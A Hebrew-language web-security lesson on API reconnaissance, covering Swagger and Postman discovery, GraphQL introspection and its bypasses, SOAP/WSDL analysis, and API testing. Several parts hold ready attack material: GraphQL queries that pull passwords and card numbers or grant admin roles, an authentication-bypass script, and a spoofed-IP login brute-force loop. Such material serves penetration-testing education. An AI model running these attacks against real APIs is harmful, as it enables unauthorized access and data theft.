לדלג לתוכן

חקירת API ומיפוי

מבוא

ממשקי API הפכו לחלק מרכזי באפליקציות ווב מודרניות. בעוד אפליקציות מסורתיות מציגות טפסים ועמודים, אפליקציות מודרניות מבוססות על API שמספק נתונים לצד הלקוח. חקירת API היא תהליך שמטרתו למפות את כל נקודות הקצה, להבין את מבנה הנתונים, ולזהות הזדמנויות לניצול.

בשיעור זה נלמד טכניקות מתקדמות לחקירת REST API, GraphQL, ושירותי SOAP - כולל גילוי תיעוד נסתר, שאילתות אינטרוספקציה, וניתוח אפליקציות מובייל.


גילוי תיעוד API

Swagger / OpenAPI

הSwagger (כיום OpenAPI) הוא התקן הנפוץ ביותר לתיעוד API. קובץ התיעוד מכיל את כל נקודות הקצה, הפרמטרים, ומבני הנתונים.

# נתיבים נפוצים לקובצי Swagger/OpenAPI:
/swagger.json
/swagger.yaml
/swagger/
/swagger-ui/
/swagger-ui.html
/swagger/v1/swagger.json
/api-docs
/api-docs.json
/api/swagger.json
/api/swagger
/openapi.json
/openapi.yaml
/openapi/
/v1/api-docs
/v2/api-docs
/v3/api-docs
/api/v1/swagger.json
/api/v2/swagger.json
/docs
/docs/api
/redoc
/.well-known/openapi.json

# סריקה אוטומטית
ffuf -u "https://target.com/FUZZ" -w swagger_paths.txt -mc 200
# שמירת קובץ swagger לניתוח
curl -s "https://target.com/swagger.json" | jq > swagger_formatted.json

# חילוץ כל נקודות הקצה
cat swagger_formatted.json | jq -r '.paths | keys[]'

# חילוץ נקודות קצה עם שיטות HTTP
cat swagger_formatted.json | jq -r '.paths | to_entries[] | .key as $path | .value | to_entries[] | "\(.key | ascii_upcase) \($path)"'
# swagger_parser.py - ניתוח קובץ Swagger וחילוץ מידע
import json
import sys

def parse_swagger(filename):
    with open(filename) as f:
        spec = json.load(f)

    print(f"[+] API Title: {spec.get('info', {}).get('title', 'N/A')}")
    print(f"[+] Version: {spec.get('info', {}).get('version', 'N/A')}")
    print(f"[+] Base URL: {spec.get('basePath', spec.get('servers', [{}])[0].get('url', 'N/A'))}")
    print()

    paths = spec.get("paths", {})
    print(f"[+] Found {len(paths)} endpoints:")
    print("-" * 60)

    for path, methods in sorted(paths.items()):
        for method, details in methods.items():
            if method in ["get", "post", "put", "delete", "patch"]:
                auth = "AUTH" if details.get("security") else "NO-AUTH"
                summary = details.get("summary", "No description")
                params = details.get("parameters", [])
                print(f"  [{method.upper():6}] {path:40} [{auth}] {summary}")
                for param in params:
                    print(f"           Param: {param.get('name')} ({param.get('in')}) "
                          f"{'*required' if param.get('required') else 'optional'}")

if __name__ == "__main__":
    parse_swagger(sys.argv[1])

גילוי תיעוד Postman

# חיפוש Postman Collections חשופות
# לעיתים מפתחים משתפים collections באופן ציבורי

# חיפוש ב-Google:
# site:documenter.getpostman.com "target.com"
# site:www.postman.com/collections "target"

# נתיבים נפוצים באתר היעד:
/postman
/postman-collection.json
/api/postman
/.postman
/docs/postman

חקירת GraphQL

מה זה GraphQL

הGraphQL היא שפת שאילתות ל-API שמאפשרת ללקוח לבקש בדיוק את הנתונים שהוא צריך. בניגוד ל-REST, בו כל נקודת קצה מחזירה מבנה קבוע, ב-GraphQL הלקוח מגדיר את מבנה התגובה.

זיהוי GraphQL

# נתיבים נפוצים של GraphQL:
/graphql
/graphiql
/graphql/console
/graphql/playground
/api/graphql
/v1/graphql
/gql
/query

# בדיקה עם שאילתה פשוטה
curl -s -X POST "https://target.com/graphql" \
     -H "Content-Type: application/json" \
     -d '{"query": "{ __typename }"}'

# אם התגובה מכילה {"data":{"__typename":"Query"}} - זה GraphQL

שאילתת אינטרוספקציה - Introspection Query

שאילתת אינטרוספקציה חושפת את כל הסכמה של ה-API - טיפוסים, שדות, שאילתות, ומוטציות.

# שאילתת אינטרוספקציה מלאה
curl -s -X POST "https://target.com/graphql" \
     -H "Content-Type: application/json" \
     -d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}'
# graphql_introspection.py - שאילתת אינטרוספקציה מלאה
import requests
import json
import sys

INTROSPECTION_QUERY = """
{
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      kind
      fields {
        name
        type {
          name
          kind
          ofType {
            name
            kind
          }
        }
        args {
          name
          type {
            name
            kind
          }
        }
      }
    }
  }
}
"""

def introspect(url):
    response = requests.post(
        url,
        json={"query": INTROSPECTION_QUERY},
        headers={"Content-Type": "application/json"},
        verify=False
    )

    if response.status_code != 200:
        print(f"[-] Error: {response.status_code}")
        return

    data = response.json()

    if "errors" in data:
        print(f"[-] Introspection blocked: {data['errors'][0].get('message', 'Unknown error')}")
        return

    schema = data.get("data", {}).get("__schema", {})

    print(f"[+] Query Type: {schema.get('queryType', {}).get('name', 'N/A')}")
    print(f"[+] Mutation Type: {schema.get('mutationType', {}).get('name', 'N/A')}")
    print()

    types = schema.get("types", [])
    user_types = [t for t in types if not t["name"].startswith("__")]

    print(f"[+] Found {len(user_types)} types:")
    print("-" * 60)

    for t in user_types:
        if t.get("fields"):
            print(f"\nType: {t['name']} ({t['kind']})")
            for field in t["fields"]:
                field_type = field["type"].get("name") or \
                    field["type"].get("ofType", {}).get("name", "Unknown")
                args = ", ".join(a["name"] for a in field.get("args", []))
                args_str = f"({args})" if args else ""
                print(f"  - {field['name']}{args_str}: {field_type}")

if __name__ == "__main__":
    url = sys.argv[1]
    introspect(url)

שאילתות GraphQL נפוצות לתקיפה

# שאילתה לקבלת כל המשתמשים
{
  users {
    id
    username
    email
    role
    password
  }
}

# מוטציה לשינוי הרשאות
mutation {
  updateUser(id: 1, role: "admin") {
    id
    username
    role
  }
}

# שאילתה עם Nested Objects - חשיפת מידע מקושר
{
  users {
    id
    username
    orders {
      id
      total
      creditCard {
        number
        cvv
      }
    }
    privateMessages {
      content
      from {
        username
      }
    }
  }
}

# שאילתת batch - עקיפת rate limiting
[
  {"query": "{ user(id: 1) { username password } }"},
  {"query": "{ user(id: 2) { username password } }"},
  {"query": "{ user(id: 3) { username password } }"}
]

עקיפת חסימת אינטרוספקציה

# אם אינטרוספקציה חסומה, נסו:

# 1. שימוש ב-__type במקום __schema
curl -s -X POST "https://target.com/graphql" \
     -H "Content-Type: application/json" \
     -d '{"query": "{ __type(name: \"User\") { fields { name type { name } } } }"}'

# 2. שליחה כ-GET parameter
curl -s "https://target.com/graphql?query=%7B__schema%7Btypes%7Bname%7D%7D%7D"

# 3. שימוש ב-alias
curl -s -X POST "https://target.com/graphql" \
     -H "Content-Type: application/json" \
     -d '{"query": "{ a: __typename }"}'

# 4. שימוש ב-fragments
curl -s -X POST "https://target.com/graphql" \
     -H "Content-Type: application/json" \
     -d '{"query": "fragment TypeInfo on __Type { name fields { name } } { __schema { types { ...TypeInfo } } }"}'

# 5. ניחוש שמות שדות (field suggestion)
# שליחת שם שדה שגוי - הודעת השגיאה עשויה להציע שמות נכונים
curl -s -X POST "https://target.com/graphql" \
     -H "Content-Type: application/json" \
     -d '{"query": "{ usr { id } }"}'
# תגובה: "Did you mean 'user' or 'users'?"

כלי GraphQL

# graphw00f - זיהוי מנוע GraphQL
pip install graphw00f
graphw00f -t https://target.com/graphql

# InQL - תוסף Burp Suite לחקירת GraphQL
# מתקינים מ-BApp Store
# מאפשר: אינטרוספקציה, יצירת שאילתות, וסריקת חולשות

# graphql-voyager - ויזואליזציה של סכמה
# https://graphql-kit.com/graphql-voyager/
# הדביקו את תוצאת האינטרוספקציה לקבלת תרשים ויזואלי

חקירת SOAP / WSDL

זיהוי שירותי SOAP

# נתיבים נפוצים
/ws
/wsdl
/service.asmx
/service.svc
/soap
/api/soap
/*.asmx?wsdl
/*.svc?wsdl

# בדיקה
curl -s "https://target.com/service.asmx?wsdl"
curl -s "https://target.com/service.svc?wsdl"

ניתוח WSDL

# הורדת WSDL
curl -s "https://target.com/service.asmx?wsdl" -o service.wsdl

# ניתוח עם Python
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse('service.wsdl')
root = tree.getroot()
ns = {'wsdl': 'http://schemas.xmlsoap.org/wsdl/'}
for op in root.findall('.//wsdl:operation', ns):
    print(f'Operation: {op.get(\"name\")}')
"

בדיקת אותנטיקציה של API

סוגי אותנטיקציה נפוצים

# 1. API Key בכותרת
curl -s "https://target.com/api/data" -H "X-API-Key: test123"
curl -s "https://target.com/api/data" -H "Api-Key: test123"

# 2. Bearer Token
curl -s "https://target.com/api/data" -H "Authorization: Bearer eyJ..."

# 3. Basic Authentication
curl -s "https://target.com/api/data" -u "admin:password"
# שקול ל:
curl -s "https://target.com/api/data" -H "Authorization: Basic YWRtaW46cGFzc3dvcmQ="

# 4. API Key בפרמטר URL
curl -s "https://target.com/api/data?api_key=test123"

# 5. HMAC Signature
# בקשה חתומה עם מפתח סודי
# בדרך כלל כוללת: timestamp, nonce, signature

# 6. OAuth 2.0 Token
curl -s "https://target.com/api/data" -H "Authorization: Bearer ACCESS_TOKEN"

בדיקת עקיפת אותנטיקציה

# api_auth_bypass.py - בדיקת עקיפת אותנטיקציה
import requests

target = "https://target.com/api/admin/users"

tests = [
    # ללא אותנטיקציה
    {"name": "No auth", "headers": {}},

    # כותרות ריקות
    {"name": "Empty API key", "headers": {"X-API-Key": ""}},
    {"name": "Empty Bearer", "headers": {"Authorization": "Bearer "}},

    # ערכים נפוצים
    {"name": "API key: null", "headers": {"X-API-Key": "null"}},
    {"name": "API key: undefined", "headers": {"X-API-Key": "undefined"}},
    {"name": "API key: true", "headers": {"X-API-Key": "true"}},

    # שיטות HTTP שונות
    {"name": "GET instead of POST", "method": "GET"},
    {"name": "PUT instead of POST", "method": "PUT"},

    # כותרות מיוחדות
    {"name": "X-Forwarded-For", "headers": {"X-Forwarded-For": "127.0.0.1"}},
    {"name": "X-Original-URL", "headers": {"X-Original-URL": "/api/admin/users"}},

    # Content-Type שונה
    {"name": "XML Content-Type", "headers": {"Content-Type": "application/xml"}},
]

for test in tests:
    method = test.get("method", "GET")
    headers = test.get("headers", {})
    resp = requests.request(method, target, headers=headers, verify=False)
    status = resp.status_code
    length = len(resp.text)
    indicator = "!!!" if status == 200 else ""
    print(f"[{status}] {test['name']:30} (length: {length}) {indicator}")

בדיקת Rate Limiting ועקיפתו

בדיקת קיום Rate Limiting

# rate_limit_test.py - בדיקת rate limiting
import requests
import time

url = "https://target.com/api/login"
data = {"username": "admin", "password": "wrong"}

for i in range(100):
    resp = requests.post(url, json=data, verify=False)
    print(f"Request {i+1}: Status {resp.status_code}, Length {len(resp.text)}")
    if resp.status_code == 429:
        print(f"[!] Rate limited after {i+1} requests")
        print(f"    Retry-After: {resp.headers.get('Retry-After', 'N/A')}")
        break

טכניקות עקיפת Rate Limiting

# 1. שינוי כותרת IP
for ip in 1.1.1.{1..255}; do
    curl -s "https://target.com/api/login" \
         -H "X-Forwarded-For: $ip" \
         -d '{"username":"admin","password":"test'$ip'"}' &
done

# 2. שימוש בנתיבים שונים (path normalization)
/api/login
/api/Login
/api/LOGIN
/api/login/
/api/login/.
/api//login
/%61%70%69/login

# 3. שימוש בפרמטרים נוספים
/api/login?dummy=1
/api/login?x=random_value
/api/login#fragment

# 4. שינוי Content-Type
# application/json
# application/x-www-form-urlencoded
# multipart/form-data

# 5. שימוש ב-HTTP/2 multiplexing
# שליחת מספר בקשות על אותו חיבור TCP

בדיקת סוגי תוכן שונים - Content Type Testing

# content_type_test.py - בדיקת תגובות לסוגי תוכן שונים
import requests
import json

url = "https://target.com/api/login"

# נתונים באותו פורמט לוגי, סוגי תוכן שונים
tests = [
    {
        "name": "JSON",
        "headers": {"Content-Type": "application/json"},
        "data": json.dumps({"username": "admin", "password": "test"})
    },
    {
        "name": "Form URL-encoded",
        "headers": {"Content-Type": "application/x-www-form-urlencoded"},
        "data": "username=admin&password=test"
    },
    {
        "name": "XML",
        "headers": {"Content-Type": "application/xml"},
        "data": "<login><username>admin</username><password>test</password></login>"
    },
    {
        "name": "Multipart",
        "headers": {},  # requests sets it automatically
        "files": {"username": (None, "admin"), "password": (None, "test")}
    },
]

for test in tests:
    try:
        if "files" in test:
            resp = requests.post(url, files=test["files"], verify=False)
        else:
            resp = requests.post(url, headers=test["headers"],
                               data=test["data"], verify=False)
        print(f"[{resp.status_code}] {test['name']:25} Length: {len(resp.text)}")
        if resp.status_code != 404:
            print(f"         Response: {resp.text[:100]}")
    except Exception as e:
        print(f"[ERROR] {test['name']}: {e}")

סיכום

בשיעור זה למדנו:

  1. גילוי תיעוד API - מציאת Swagger/OpenAPI, Postman collections
  2. חקירת GraphQL - אינטרוספקציה, עקיפת חסימות, שאילתות תקיפה
  3. חקירת SOAP - ניתוח WSDL, זיהוי פעולות
  4. אותנטיקציה - סוגי אותנטיקציה נפוצים ובדיקת עקיפתם
  5. עקיפת Rate Limiting - טכניקות לעקיפת הגבלות קצב
  6. סוגי תוכן - בדיקת התנהגות עם Content-Types שונים

מיפוי API מלא הוא הבסיס לכל בדיקה - ככל שנכיר יותר נקודות קצה ופרמטרים, כך נגדיל את הסיכוי לגלות חולשות.